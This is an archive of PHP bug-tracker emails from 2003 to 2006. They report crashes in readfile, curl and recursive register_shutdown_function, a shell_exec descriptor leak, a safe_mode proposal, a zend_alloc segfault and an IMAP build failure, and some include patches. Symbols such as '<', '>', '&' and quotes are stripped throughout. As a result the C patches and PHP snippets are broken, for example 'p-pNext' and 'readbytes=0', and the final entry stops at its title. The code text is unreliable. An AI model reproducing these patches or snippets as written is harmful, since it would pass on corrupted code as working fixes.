From: anton at artpromcompany dot ru Operating system: windows xp sp 2 PHP version: 4.4.2 PHP Bug Type: Reproducible crash Bug description: Crash when downloading url via readfile or file_ge_contents Description: Crash when downloading url via readfile or file_ge_contents I tried it on 2 machines. Windows XP sp 2. php as apache module or cgi - it doesn't matter. 4.4.1 works correctly. Reproduce code: --- ?php readfile(http://www.microsoft.com/;); ? Expected result: html page Actual result: -- crash -- Edit bug report at http://bugs.php.net/?id=37916edit=1 -- Try a CVS snapshot (PHP 4.4): http://bugs.php.net/fix.php?id=37916r=trysnapshot44 Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=37916r=trysnapshot52 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=37916r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=37916r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=37916r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=37916r=needtrace Need Reproduce Script:http://bugs.php.net/fix.php?id=37916r=needscript Try newer version:http://bugs.php.net/fix.php?id=37916r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=37916r=support Expected behavior:http://bugs.php.net/fix.php?id=37916r=notwrong Not enough info: http://bugs.php.net/fix.php?id=37916r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=37916r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=37916r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=37916r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=37916r=dst IIS Stability:http://bugs.php.net/fix.php?id=37916r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=37916r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=37916r=float No Zend Extensions: http://bugs.php.net/fix.php?id=37916r=nozend MySQL Configuration Error:http://bugs.php.net/fix.php?id=37916r=mysqlcfg
#36353 [NEW]: Curl crush
From: anton at artpromcompany dot ru Operating system: freebsd 4.11 and windows xp sp2 PHP version: 4.4.2 PHP Bug Type: Reproducible crash Bug description: Curl crush Description: Curl crushes when downloading some urls. One of them: http://www.surclaro.com/photo2340.html Reproduce code: --- $url = 'http://www.surclaro.com/photo2340.html'; $ch = curl_init($url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,8); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_exec($ch); curl_close($ch); Expected result: html page Actual result: -- php crush -- Edit bug report at http://bugs.php.net/?id=36353edit=1 -- Try a CVS snapshot (PHP 4.4): http://bugs.php.net/fix.php?id=36353r=trysnapshot44 Try a CVS snapshot (PHP 5.1): http://bugs.php.net/fix.php?id=36353r=trysnapshot51 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=36353r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=36353r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=36353r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=36353r=needtrace Need Reproduce Script:http://bugs.php.net/fix.php?id=36353r=needscript Try newer version:http://bugs.php.net/fix.php?id=36353r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=36353r=support Expected behavior:http://bugs.php.net/fix.php?id=36353r=notwrong Not enough info: http://bugs.php.net/fix.php?id=36353r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=36353r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=36353r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=36353r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=36353r=dst IIS Stability:http://bugs.php.net/fix.php?id=36353r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=36353r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=36353r=float No Zend Extensions: http://bugs.php.net/fix.php?id=36353r=nozend MySQL Configuration Error:http://bugs.php.net/fix.php?id=36353r=mysqlcfg
#36353 [Bgs]: Curl crush
ID: 36353 User updated by: anton at artpromcompany dot ru Reported By: anton at artpromcompany dot ru Status: Bogus Bug Type: Reproducible crash Operating System: freebsd 4.11 and windows xp sp2 PHP Version: 4.4.2 New Comment: I have just upgraded curl to 7.15.1 and now no crush for this url. But it's strange why php for win32 uses old version of curl with bugs? Previous Comments: [2006-02-10 15:15:11] [EMAIL PROTECTED] `curl http://www.surclaro.com/photo2340.html` crashes either - report it to cURL developers, this is not PHP problem. [2006-02-10 15:11:18] [EMAIL PROTECTED] Thank you for this bug report. To properly diagnose the problem, we need a backtrace to see what is happening behind the scenes. To find out how to generate a backtrace, please read http://bugs.php.net/bugs-generating-backtrace.php for *NIX and http://bugs.php.net/bugs-generating-backtrace-win32.php for Win32 Once you have generated a backtrace, please submit it to this bug report and change the status back to Open. Thank you for helping us make PHP better. [2006-02-10 15:05:21] anton at artpromcompany dot ru Description: Curl crushes when downloading some urls. One of them: http://www.surclaro.com/photo2340.html Reproduce code: --- $url = 'http://www.surclaro.com/photo2340.html'; $ch = curl_init($url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,8); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_exec($ch); curl_close($ch); Expected result: html page Actual result: -- php crush -- Edit this bug report at http://bugs.php.net/?id=36353edit=1
#36043 [NEW]: PHP code kill apache proccess
From: anton dot kirsanov at aaca dot aero Operating system: WindowsXP, FreeBSD PHP version: 5.1.2 PHP Bug Type: Apache related Bug description: PHP code kill apache proccess Description: Crash Apache with using register_shutdown_function(); Reproduce code: --- ?php register_shutdown_function(a()); function a(){register_shutdown_function(a());} ? Expected result: good final. Actual result: -- Apache crash... -- Edit bug report at http://bugs.php.net/?id=36043edit=1 -- Try a CVS snapshot (PHP 4.4): http://bugs.php.net/fix.php?id=36043r=trysnapshot44 Try a CVS snapshot (PHP 5.1): http://bugs.php.net/fix.php?id=36043r=trysnapshot51 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=36043r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=36043r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=36043r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=36043r=needtrace Need Reproduce Script:http://bugs.php.net/fix.php?id=36043r=needscript Try newer version:http://bugs.php.net/fix.php?id=36043r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=36043r=support Expected behavior:http://bugs.php.net/fix.php?id=36043r=notwrong Not enough info: http://bugs.php.net/fix.php?id=36043r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=36043r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=36043r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=36043r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=36043r=dst IIS Stability:http://bugs.php.net/fix.php?id=36043r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=36043r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=36043r=float No Zend Extensions: http://bugs.php.net/fix.php?id=36043r=nozend MySQL Configuration Error:http://bugs.php.net/fix.php?id=36043r=mysqlcfg
#36012 [NEW]: shell_exec not freeing memory/pipe file descriptor on timeout
From: anton dot php at titov dot net Operating system: Gentoo Linux PHP version: 4.4.2 PHP Bug Type: Apache related Bug description: shell_exec not freeing memory/pipe file descriptor on timeout Description: shell_exec/backticks operator use popen to fork process, but do not register this pipe with php_stream_fopen_from_pipe so in case of apache timeout /I guess other APIs also have the same problem/. I've fixed this problem by lookind at how other exec functions work, so this fix should be fine. patch follows: --- php-4.4.2-orig/ext/standard/exec.c 2006-01-01 15:46:57.0 +0200 +++ php-4.4.2/ext/standard/exec.c 2006-01-14 20:53:18.059967960 +0200 @@ -552,6 +552,7 @@ int readbytes, total_readbytes=0, allocated_space; pval **cmd; char *ret; +php_stream *stream; if (ZEND_NUM_ARGS()!=1 || zend_get_parameters_ex(1, cmd)==FAILURE) { WRONG_PARAM_COUNT; @@ -571,10 +572,11 @@ php_error_docref(NULL TSRMLS_CC, E_WARNING, Unable to execute '%s', Z_STRVAL_PP(cmd)); RETURN_FALSE; } +stream = php_stream_fopen_from_pipe(in, rb); allocated_space = EXEC_INPUT_BUF; ret = (char *) emalloc(allocated_space); while (1) { - readbytes = fread(ret+total_readbytes, 1, EXEC_INPUT_BUF, in); + readbytes = php_stream_read(stream, ret+total_readbytes, EXEC_INPUT_BUF); if (readbytes=0) { break; } @@ -582,7 +584,7 @@ allocated_space = total_readbytes+EXEC_INPUT_BUF; ret = (char *) erealloc(ret, allocated_space); } - pclose(in); + php_stream_close(stream); RETVAL_STRINGL(ret, total_readbytes, 0); Z_STRVAL_P(return_value)[total_readbytes] = '\0'; Reproduce code: --- ?php /* execute this with apache timeout of 60, or change sleep value to 700 */ echo `sleep 100`; exit(0); Expected result: The program works as expected and do nothing, but if apache timeout happens you end up with zombie process and an open file descriptor inside the apache process. -- Edit bug report at http://bugs.php.net/?id=36012edit=1 -- Try a CVS snapshot (PHP 4.4): http://bugs.php.net/fix.php?id=36012r=trysnapshot44 Try a CVS snapshot (PHP 5.1): http://bugs.php.net/fix.php?id=36012r=trysnapshot51 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=36012r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=36012r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=36012r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=36012r=needtrace Need Reproduce Script:http://bugs.php.net/fix.php?id=36012r=needscript Try newer version:http://bugs.php.net/fix.php?id=36012r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=36012r=support Expected behavior:http://bugs.php.net/fix.php?id=36012r=notwrong Not enough info: http://bugs.php.net/fix.php?id=36012r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=36012r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=36012r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=36012r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=36012r=dst IIS Stability:http://bugs.php.net/fix.php?id=36012r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=36012r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=36012r=float No Zend Extensions: http://bugs.php.net/fix.php?id=36012r=nozend MySQL Configuration Error:http://bugs.php.net/fix.php?id=36012r=mysqlcfg
#36012 [Fbk-Opn]: shell_exec not freeing memory/pipe file descriptor on timeout
ID: 36012 User updated by: anton dot php at titov dot net Reported By: anton dot php at titov dot net -Status: Feedback +Status: Open Bug Type: Apache related Operating System: Gentoo Linux PHP Version: 4.4.2 New Comment: It is a php4.x bug. It's not present in lates PHP5 snapshot, but in the latest PHP4.4 snapshot it still exists. Previous Comments: [2006-01-14 20:33:42] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php5.1-latest.tar.gz For Windows: http://snaps.php.net/win32/php5.1-win32-latest.zip [2006-01-14 20:22:03] anton dot php at titov dot net Description: shell_exec/backticks operator use popen to fork process, but do not register this pipe with php_stream_fopen_from_pipe so in case of apache timeout /I guess other APIs also have the same problem/. I've fixed this problem by lookind at how other exec functions work, so this fix should be fine. patch follows: --- php-4.4.2-orig/ext/standard/exec.c 2006-01-01 15:46:57.0 +0200 +++ php-4.4.2/ext/standard/exec.c 2006-01-14 20:53:18.059967960 +0200 @@ -552,6 +552,7 @@ int readbytes, total_readbytes=0, allocated_space; pval **cmd; char *ret; +php_stream *stream; if (ZEND_NUM_ARGS()!=1 || zend_get_parameters_ex(1, cmd)==FAILURE) { WRONG_PARAM_COUNT; @@ -571,10 +572,11 @@ php_error_docref(NULL TSRMLS_CC, E_WARNING, Unable to execute '%s', Z_STRVAL_PP(cmd)); RETURN_FALSE; } +stream = php_stream_fopen_from_pipe(in, rb); allocated_space = EXEC_INPUT_BUF; ret = (char *) emalloc(allocated_space); while (1) { - readbytes = fread(ret+total_readbytes, 1, EXEC_INPUT_BUF, in); + readbytes = php_stream_read(stream, ret+total_readbytes, EXEC_INPUT_BUF); if (readbytes=0) { break; } @@ -582,7 +584,7 @@ allocated_space = total_readbytes+EXEC_INPUT_BUF; ret = (char *) erealloc(ret, allocated_space); } - pclose(in); + php_stream_close(stream); RETVAL_STRINGL(ret, total_readbytes, 0); Z_STRVAL_P(return_value)[total_readbytes] = '\0'; Reproduce code: --- ?php /* execute this with apache timeout of 60, or change sleep value to 700 */ echo `sleep 100`; exit(0); Expected result: The program works as expected and do nothing, but if apache timeout happens you end up with zombie process and an open file descriptor inside the apache process. -- Edit this bug report at http://bugs.php.net/?id=36012edit=1
#33752 [Com]: safe_mode UID checks modification
ID: 33752 Comment by: anton at titov dot net Reported By: mordae at mordae dot net Status: Open Bug Type: Feature/Change Request Operating System: all POSIX PHP Version: 4.3.11 New Comment: I can do this /I mean to add setting for this/ if you point me if there is somewhere coding rules for writing for PHP. And if you tell me how to submit it when I'm done. You will need somebody to understand the idea and to document it as my English is probably not good enough for it. Anton Titov Host.bg Previous Comments: [2005-07-18 20:24:44] mordae at mordae dot net For the first, we all know what PHP does in so-called safe_mode. When using PHP as web server module and create directory or file, it is owned by user running web server, so we have to keep eyes on it's mode. Usually 0757 (0646) is needed. If we use safe_mode, we end up with unaccessible files, because UIDs doesn't match. There has to be some solution of this problem in PHP. I have seen many other, but none seems to be used. What about this one: Add php.ini directive, that will make PHP check UID of all parent directories of accessed file and if any of parent directory is owned by scripts owner, allow access. To improve security, you could also check if all sub-directories are owned by the user, who runs PHP (server) or - again - script owner. See Titov's patch at http://titov.net/safemodepatch/ he probably did it. The problem is, that it's not official and no webhosting is using it. Thank you Mordae And I do apologize. [2005-07-18 19:36:15] [EMAIL PROTECTED] For the first, we all know what PHP does in (un)safe_mode. So tell us, if you know. There has to be some solution of this problem. What problem? You have disagreed with all previous What are you talking about? [2005-07-18 17:44:19] mordae at mordae dot net Description: For the first, we all know what PHP does in (un)safe_mode. There has to be some solution of this problem. You have disagreed with all previous, so what about this one: Add php.ini directive, that will make PHP check UID of all parent directories of accessed file in addition of file's and if any of parent directories are owned by correct user, allow access. To improve security, you could also check if all directories above are owned by the user, who runs PHP. See Titov's patch at http://titov.net/safemodepatch/ Thank you Mordae -- Edit this bug report at http://bugs.php.net/?id=33752edit=1
#34408 [NEW]: fix Segmentation fault
From: anton at 310 dot ru Operating system: linux x86_64 kernel 2.6.9 PHP version: 5.0.5 PHP Bug Type: Reproducible crash Bug description: fix Segmentation fault Description: fix Segmentation fault Reproduce code: --- --- zend_alloc.c.orig 2005-08-23 22:11:22.0 +0400 +++ zend_alloc.c2005-09-04 16:57:33.0 +0400 @@ -103,7 +103,8 @@ #define REMOVE_POINTER_FROM_LIST(p)\ if (p==AG(head)) { \ AG(head) = p-pNext;\ - } else { \ + } else { \ + if(p-pLast) \ p-pLast-pNext = p-pNext; \ } \ if (p-pNext) { \ @@ -248,6 +249,10 @@ ZEND_API void _efree(void *ptr ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC) { zend_mem_header *p = (zend_mem_header *) ((char *)ptr - sizeof(zend_mem_header) - MEM_HEADER _PADDING); + + if(!ptr) + return; + DECLARE_CACHE_VARS(); TSRMLS_FETCH(); -- Edit bug report at http://bugs.php.net/?id=34408edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=34408r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=34408r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=34408r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=34408r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=34408r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=34408r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=34408r=needscript Try newer version: http://bugs.php.net/fix.php?id=34408r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=34408r=support Expected behavior: http://bugs.php.net/fix.php?id=34408r=notwrong Not enough info: http://bugs.php.net/fix.php?id=34408r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=34408r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=34408r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=34408r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=34408r=dst IIS Stability: http://bugs.php.net/fix.php?id=34408r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=34408r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=34408r=float No Zend Extensions: http://bugs.php.net/fix.php?id=34408r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=34408r=mysqlcfg
#24874 [Fbk-Opn]: Mistake of a configuration
ID: 24874 User updated by: anton at atlex dot ru Reported By: anton at atlex dot ru -Status: Feedback +Status: Open Bug Type: IMAP related Operating System: RedHat 7.3 -PHP Version: 4-STABLE-200307301730 +PHP Version: 4.3.2 New Comment: All problem that if to remove an option - with-dom, the IMAP is going without problems. If to establish an option - with-dom, configure does not find working imapd Previous Comments: [2003-07-30 22:04:08] [EMAIL PROTECTED] Get this: ftp://ftp.cac.washington.edu/imap/imap-2002d.tar.Z configure/compile it, then do clean configure with PHP again. (rm config.cache first!) [2003-07-30 21:56:25] anton at atlex dot ru I bring to you the information which to me gives out the configure. ... checking for GNU gettext support... no checking for GNU MP support... no checking for hwapi support... no checking for Hyperwave support... no checking for iconv support... no checking for IMAP support... yes checking for pam_start in -lpam... yes checking for crypt in -lcrypt... yes checking whether SSL libraries are needed for c-client... /usr/lib checking whether IMAP works... no configure: error: build test failed. Please check the config.log for details. [EMAIL PROTECTED] [/usr/local/src/snaps.php.net/php4-STABLE-200307301730]# config.log ... configure:40024: checking whether IMAP works configure:40057: gcc -o conftest -g -O2 -Wl,-rpath,/home/cpapachebuild/buildapache/imap-2001.BETA.SNAP-01052 20031//c-client -L/home/cpapachebuild/buildapache/imap-2001.BETA.SNAP-0105220031//c-client -Wl,-rpath,/usr/ker beros/lib -L/usr/kerberos/lib conftest.c -lc-client -lssl -lcrypto -lcrypt -lpam -lz -lcurl -lz -lssl -lcryp to -lresolv -lm -ldl -lnsl -lcurl -lz -ldl -lz -lxml2 -lz -liconv -lm -lgssapi_krb5 -lkrb5 -lk5crypto -lcom_e rr 15 configure: failed program was: #line 40032 configure #include confdefs.h void mm_log(void){} void mm_dlog(void){} void mm_flags(void){} void mm_fatal(void){} void mm_critical(void){} void mm_nocritical(void){} void mm_notify(void){} void mm_login(void){} void mm_diskerror(void){} void mm_status(void){} void mm_lsub(void){} void mm_list(void){} void mm_exists(void){} void mm_searched(void){} void mm_expunged(void){} char mail_newbody(); int main() { mail_newbody(); return 0; } The end of a file It is more than any messages is not given out [2003-07-30 13:58:47] [EMAIL PROTECTED] What was the actual error message that was reported when the test program compilation failed? It should be right below the source code of the test. [2003-07-30 12:56:20] anton at atlex dot ru Has downloaded http: // snaps.php.net/php4-STABLE-latest.tar.gz, has unwrapped, result too checking whether IMAP works... no configure: error: build test failed. Please check the config.log for details. If to remove --with-dom that of mistakes does not arise. But me is necessary IMAP and DOMXML [2003-07-30 12:25:55] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php4-STABLE-latest.tar.gz For Windows: http://snaps.php.net/win32/php4-win32-STABLE-latest.zip The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/24874 -- Edit this bug report at http://bugs.php.net/?id=24874edit=1
#24874 [NEW]: Mistake of a configuration
From: anton at atlex dot ru Operating system: RedHat 7.3 PHP version: 4.3.2 PHP Bug Type: IMAP related Bug description: Mistake of a configuration Description: I try to collect PHP with support IMAP CURL OpenSSL DOMXML In result script the configere stops on IMAP checking whether IMAP works... no configure: error: build test failed. Please check the config.log for details. config.log configure:36362: checking whether IMAP works configure:36395: gcc -o conftest -g -O2 -Wl, -rpath, /home/cpapachebuild/buildapache/imap-20 01. BET A.SNAP-0105220031 // c-client -L/home/cpapachebuild/buildapache/imap- 2001. BETA.SNAP-0105220031 // c-cl ient -Wl, -rpath, /usr/kerberos/lib -L/usr/kerberos/lib conftest.c -lc-client -lssl -lcrypto -lcry pt -lpam -lexslt -lxsltbreakpoint -lxml2 -lxslt -lz -lcurl -lz -lssl -lcrypto -lresolv -lm -ldl -l nsl -lcurl -lz -ldl -lz -lxml2 -lz -liconv -lm -lgssapi_krb5 -lkrb5 -lk5crypto -lcom_err 1 *5 configure: failed program was: line 36370 configure include confdefs.h void mm_log (void) {} void mm_dlog (void) {} void mm_flags (void) {} void mm_fatal (void) {} void mm_critical (void) {} void mm_nocritical (void) {} void mm_notify (void) {} void mm_login (void) {} void mm_diskerror (void) {} void mm_status (void) {} void mm_lsub (void) {} void mm_list (void) {} void mm_exists (void) {} void mm_searched (void) {} void mm_expunged (void) {} char mail_newbody (); int main () { mail_newbody (); return 0; } libxslt-1.0.31 libxml2-2.5.8 imap-2001. BETA.SNAP-0105220031 Reproduce code: --- ./configure --with-apxs=/usr/local/apache/bin/apxs --enable-bcmath --enable-calendar --enable-ftp --enable-dbase --with-openssl --with-imap=/home/cpapachebuild/buildapache/imap-2001.BETA.SNAP-0105220031/ --with-imap-ssl --with-kerberos --enable-magic-quotes --with-mysql --with-pear --enable-sockets --enable-track-vars --enable-versioning --with-zlib -with-curl --with-dom --with-xml --with-dom Expected result: checking whether IMAP works... no configure: error: build test failed. Please check the config.log for details. -- Edit bug report at http://bugs.php.net/?id=24874edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=24874r=trysnapshot4 Try a CVS snapshot (php5): http://bugs.php.net/fix.php?id=24874r=trysnapshot5 Fixed in CVS: http://bugs.php.net/fix.php?id=24874r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=24874r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=24874r=needtrace Try newer version: http://bugs.php.net/fix.php?id=24874r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=24874r=support Expected behavior: http://bugs.php.net/fix.php?id=24874r=notwrong Not enough info:http://bugs.php.net/fix.php?id=24874r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=24874r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=24874r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=24874r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=24874r=dst IIS Stability: http://bugs.php.net/fix.php?id=24874r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=24874r=gnused
#24874 [Fbk-Opn]: Mistake of a configuration
ID: 24874 User updated by: anton at atlex dot ru Reported By: anton at atlex dot ru -Status: Feedback +Status: Open Bug Type: IMAP related Operating System: RedHat 7.3 PHP Version: 4.3.2 New Comment: Has downloaded http: // snaps.php.net/php4-STABLE-latest.tar.gz, has unwrapped, result too checking whether IMAP works... no configure: error: build test failed. Please check the config.log for details. If to remove --with-dom that of mistakes does not arise. But me is necessary IMAP and DOMXML Previous Comments: [2003-07-30 12:25:55] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php4-STABLE-latest.tar.gz For Windows: http://snaps.php.net/win32/php4-win32-STABLE-latest.zip [2003-07-30 11:57:21] anton at atlex dot ru Description: I try to collect PHP with support IMAP CURL OpenSSL DOMXML In result script the configere stops on IMAP checking whether IMAP works... no configure: error: build test failed. Please check the config.log for details. config.log configure:36362: checking whether IMAP works configure:36395: gcc -o conftest -g -O2 -Wl, -rpath, /home/cpapachebuild/buildapache/imap-20 01. BET A.SNAP-0105220031 // c-client -L/home/cpapachebuild/buildapache/imap- 2001. BETA.SNAP-0105220031 // c-cl ient -Wl, -rpath, /usr/kerberos/lib -L/usr/kerberos/lib conftest.c -lc-client -lssl -lcrypto -lcry pt -lpam -lexslt -lxsltbreakpoint -lxml2 -lxslt -lz -lcurl -lz -lssl -lcrypto -lresolv -lm -ldl -l nsl -lcurl -lz -ldl -lz -lxml2 -lz -liconv -lm -lgssapi_krb5 -lkrb5 -lk5crypto -lcom_err 1 *5 configure: failed program was: line 36370 configure include confdefs.h void mm_log (void) {} void mm_dlog (void) {} void mm_flags (void) {} void mm_fatal (void) {} void mm_critical (void) {} void mm_nocritical (void) {} void mm_notify (void) {} void mm_login (void) {} void mm_diskerror (void) {} void mm_status (void) {} void mm_lsub (void) {} void mm_list (void) {} void mm_exists (void) {} void mm_searched (void) {} void mm_expunged (void) {} char mail_newbody (); int main () { mail_newbody (); return 0; } libxslt-1.0.31 libxml2-2.5.8 imap-2001. BETA.SNAP-0105220031 Reproduce code: --- ./configure --with-apxs=/usr/local/apache/bin/apxs --enable-bcmath --enable-calendar --enable-ftp --enable-dbase --with-openssl --with-imap=/home/cpapachebuild/buildapache/imap-2001.BETA.SNAP-0105220031/ --with-imap-ssl --with-kerberos --enable-magic-quotes --with-mysql --with-pear --enable-sockets --enable-track-vars --enable-versioning --with-zlib -with-curl --with-dom --with-xml --with-dom Expected result: checking whether IMAP works... no configure: error: build test failed. Please check the config.log for details. -- Edit this bug report at http://bugs.php.net/?id=24874edit=1
#24874 [Fbk-Opn]: Mistake of a configuration
ID: 24874 User updated by: anton at atlex dot ru Reported By: anton at atlex dot ru -Status: Feedback +Status: Open Bug Type: IMAP related Operating System: RedHat 7.3 -PHP Version: 4.3.3RC3-dev +PHP Version: php4-STABLE-200307301730 New Comment: I bring to you the information which to me gives out the configure. ... checking for GNU gettext support... no checking for GNU MP support... no checking for hwapi support... no checking for Hyperwave support... no checking for iconv support... no checking for IMAP support... yes checking for pam_start in -lpam... yes checking for crypt in -lcrypt... yes checking whether SSL libraries are needed for c-client... /usr/lib checking whether IMAP works... no configure: error: build test failed. Please check the config.log for details. [EMAIL PROTECTED] [/usr/local/src/snaps.php.net/php4-STABLE-200307301730]# config.log ... configure:40024: checking whether IMAP works configure:40057: gcc -o conftest -g -O2 -Wl,-rpath,/home/cpapachebuild/buildapache/imap-2001.BETA.SNAP-01052 20031//c-client -L/home/cpapachebuild/buildapache/imap-2001.BETA.SNAP-0105220031//c-client -Wl,-rpath,/usr/ker beros/lib -L/usr/kerberos/lib conftest.c -lc-client -lssl -lcrypto -lcrypt -lpam -lz -lcurl -lz -lssl -lcryp to -lresolv -lm -ldl -lnsl -lcurl -lz -ldl -lz -lxml2 -lz -liconv -lm -lgssapi_krb5 -lkrb5 -lk5crypto -lcom_e rr 15 configure: failed program was: #line 40032 configure #include confdefs.h void mm_log(void){} void mm_dlog(void){} void mm_flags(void){} void mm_fatal(void){} void mm_critical(void){} void mm_nocritical(void){} void mm_notify(void){} void mm_login(void){} void mm_diskerror(void){} void mm_status(void){} void mm_lsub(void){} void mm_list(void){} void mm_exists(void){} void mm_searched(void){} void mm_expunged(void){} char mail_newbody(); int main() { mail_newbody(); return 0; } The end of a file It is more than any messages is not given out Previous Comments: [2003-07-30 13:58:47] [EMAIL PROTECTED] What was the actual error message that was reported when the test program compilation failed? It should be right below the source code of the test. [2003-07-30 12:56:20] anton at atlex dot ru Has downloaded http: // snaps.php.net/php4-STABLE-latest.tar.gz, has unwrapped, result too checking whether IMAP works... no configure: error: build test failed. Please check the config.log for details. If to remove --with-dom that of mistakes does not arise. But me is necessary IMAP and DOMXML [2003-07-30 12:25:55] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php4-STABLE-latest.tar.gz For Windows: http://snaps.php.net/win32/php4-win32-STABLE-latest.zip [2003-07-30 11:57:21] anton at atlex dot ru Description: I try to collect PHP with support IMAP CURL OpenSSL DOMXML In result script the configere stops on IMAP checking whether IMAP works... no configure: error: build test failed. Please check the config.log for details. config.log configure:36362: checking whether IMAP works configure:36395: gcc -o conftest -g -O2 -Wl, -rpath, /home/cpapachebuild/buildapache/imap-20 01. BET A.SNAP-0105220031 // c-client -L/home/cpapachebuild/buildapache/imap- 2001. BETA.SNAP-0105220031 // c-cl ient -Wl, -rpath, /usr/kerberos/lib -L/usr/kerberos/lib conftest.c -lc-client -lssl -lcrypto -lcry pt -lpam -lexslt -lxsltbreakpoint -lxml2 -lxslt -lz -lcurl -lz -lssl -lcrypto -lresolv -lm -ldl -l nsl -lcurl -lz -ldl -lz -lxml2 -lz -liconv -lm -lgssapi_krb5 -lkrb5 -lk5crypto -lcom_err 1 *5 configure: failed program was: line 36370 configure include confdefs.h void mm_log (void) {} void mm_dlog (void) {} void mm_flags (void) {} void mm_fatal (void) {} void mm_critical (void) {} void mm_nocritical (void) {} void mm_notify (void) {} void mm_login (void) {} void mm_diskerror (void) {} void mm_status (void) {} void mm_lsub (void) {} void mm_list (void) {} void mm_exists (void) {} void mm_searched (void) {} void mm_expunged (void) {} char mail_newbody (); int main () { mail_newbody (); return 0; } libxslt-1.0.31 libxml2-2.5.8 imap-2001. BETA.SNAP-0105220031 Reproduce code: --- ./configure --with-apxs=/usr/local/apache/bin/apxs --enable-bcmath --enable-calendar --enable-ftp --enable-dbase --with-openssl --with-imap=/home/cpapachebuild/buildapache/imap-2001.BETA.SNAP-0105220031/ --with-imap-ssl --with-kerberos --enable-magic-quotes --with-mysql --with-pear --enable-sockets --enable-track
#24189 [NEW]: big problem on stream function
